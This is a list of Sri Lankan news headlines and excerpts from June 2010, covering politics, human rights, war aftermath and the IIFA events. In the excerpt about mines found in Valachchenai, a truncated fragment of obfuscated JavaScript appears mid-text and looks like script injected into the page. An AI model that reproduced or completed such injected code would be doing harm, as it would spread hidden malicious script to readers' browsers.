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• Commission to please world

  Created: Wednesday, 02 June 2010 18:10

  The UNP today charged that the ‘Lessons Learnt Truth and Reconciliation Commission’ appointed by President Mahinda Rajapakse was created by the government only to please the international community. ...

• Dwaraka’s Parents Complain To Human Rights Commission

  Created: Wednesday, 02 June 2010 18:08

  A complaint has been filed at the Human Rights Commission by parents of Rasiah Dwaraka and Inter University Students’ Federation (IUSF) requesting investigations against Dwaraka, who is being detained at Boosa Detention camp since her arrest on 12.11....

• Prayers In Jaffna Mosque After 20 Years

  Created: Wednesday, 02 June 2010 18:06

  Grand Mosque in Jaffna which had been closed for 20 years when Muslims were evicted by tiger terrorists has been re-opened and prayer services have been revived. This historical mosque was built by Dutch rulers in 1713. ...

• Bacardi’ Takes Over ‘Mathata Thitha’ – Free Liquor At IIFA Cricket Match!

  Created: Wednesday, 02 June 2010 18:04

  A world famous liquor company is planning to provide free liquor for all special guests invited for the ‘IIFA’ cricket match to be held concurrent with the International Indian Film Academy (IIFA) festival to be held in Colombo. ‘Bacardi,’ the w...

• Handle knowledge with care, advises Ambassador

  Created: Wednesday, 02 June 2010 17:42

  15 Sri Lankan students graduate from AIT   H.E. Prof. J.B. Disanayaka, Ambassador of Sri Lanka to Thailand advised students to use knowledge carefully and handle it with care. The Ambassador was delivering the graduation address at the 113th gradua...

• M.I.A. continues to lash out at New York Times reporter, says some more dubious shit

  Created: Wednesday, 02 June 2010 17:40

  You may have assumed that M.I.A. would have spent the last few days trying to distance herself from the fallout over her New York Times profile and her subsequent tweeting of a reporter’s personal phone number, perhaps by enjoying a relaxing holiday w...

• Tribunal to hear General’s petition

  Created: Tuesday, 01 June 2010 19:21

  The Court of Appeal has decided to appoint a three judge tribunal to inquire into the petition filed by former Commander of the Army and Member of Parliament Gen. Sarath Fonseka against the second court martial against him.  ...

• No confidence in committees appointed by Govt. – UN High Commissioner

  Created: Tuesday, 01 June 2010 19:17

  The UN High Commissioner for Human Rights Navanethem Pillay says there are allegations regarding human rights violations during the war in Sri Lanka and she has no confidence in the committees appointed by the government of Sri Lanka to look into allege...

• 17 mines found in Valachchenai

  Created: Tuesday, 01 June 2010 19:15

  At least 17 pressure mines were unearthed by police following information provided by a LTTE cadre currently in custody. The find was made at a location in Vaklachennai in the Batticoloa district, police said.   var a=0,m,v,t,z,x=new Array('858691787...

• Import duty on vehicles salshed by 50%

  Created: Tuesday, 01 June 2010 19:13

  The government has slashed Import duty on motor vehicles by 50% and a 15% surcharge on imported goods has also been removed, the Finance Ministry announced a short while ago.  ...

• Big B to skip IIFA

  Created: Tuesday, 01 June 2010 19:08

  Ending weeks of speculation, Bollywood superstar and IIFA Brand Ambassador Amitabh Bachchan said he will not attend the IIFA events in Colombo, India’s NDTV reported. ...

• Queen may visit in 2013

  Created: Tuesday, 01 June 2010 19:06

  Britain’s Queen Elizabeth is likely to arrive in Sri Lanka in 2013 to open the Commonwealth Heads of Government meeting which Sri Lanka will host that year, well informed sources told Daily Mirror online. ...

• Government Agent orders the Muslim community to leave Mullaitheevu

  Created: Tuesday, 01 June 2010 19:04

  An allegation was made against Mullaitheevu District Government Agent that she had ordered to depart the Muslims who had resettled and for business motive in some areas in Mullaitheevu. The allegation was made by United Front Vanni District Parliament M...

• Amirthalingam family returns to Sri Lanka

  Created: Tuesday, 01 June 2010 18:53

  The assassinated Tamil Liberation Alliance former Leader Appapillai Amirthalingam’s wife Mangayatkarasi Amirthalingam had arrived to Sri Lanka. Her son Baheerathan Amirthalingam too had accompanied her.  ...